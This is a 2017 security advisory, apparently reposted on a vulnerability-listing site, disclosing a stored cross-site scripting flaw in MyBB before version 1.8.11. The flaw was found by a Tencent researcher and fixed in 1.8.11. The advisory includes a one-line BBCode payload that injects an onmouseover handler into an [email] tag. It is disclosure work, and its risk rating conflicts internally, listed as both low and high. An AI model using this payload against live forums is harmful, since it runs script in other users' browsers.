MyBB <1.8.11 Cross Site Scripting

2017.04.12

Credit: Zhiyang Zeng

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

#################################

Description:
============

product:MyBB
Homepage:https://mybb.com/
vulnerable  version:<1.8.11
Severity:High risk

===============

Proof of Concept:

=============

1.post a thread or reply any thread ,write:

[email=2"onmouseover="alert(document.location)]hover me[/email]

then when useras mouse hover it,XSS attack will occur!

============

Fixed:
============

This vulnerability was fixed in version 1.8.11

https://blog.mybb.com/2017/04/04/mybb-1-8-11-merge-system-1-8-11-release/

=============

Best regards,
Zhiyang Zeng of Tencent security platform department

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

MyBB <1.8.11 Cross Site Scripting

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.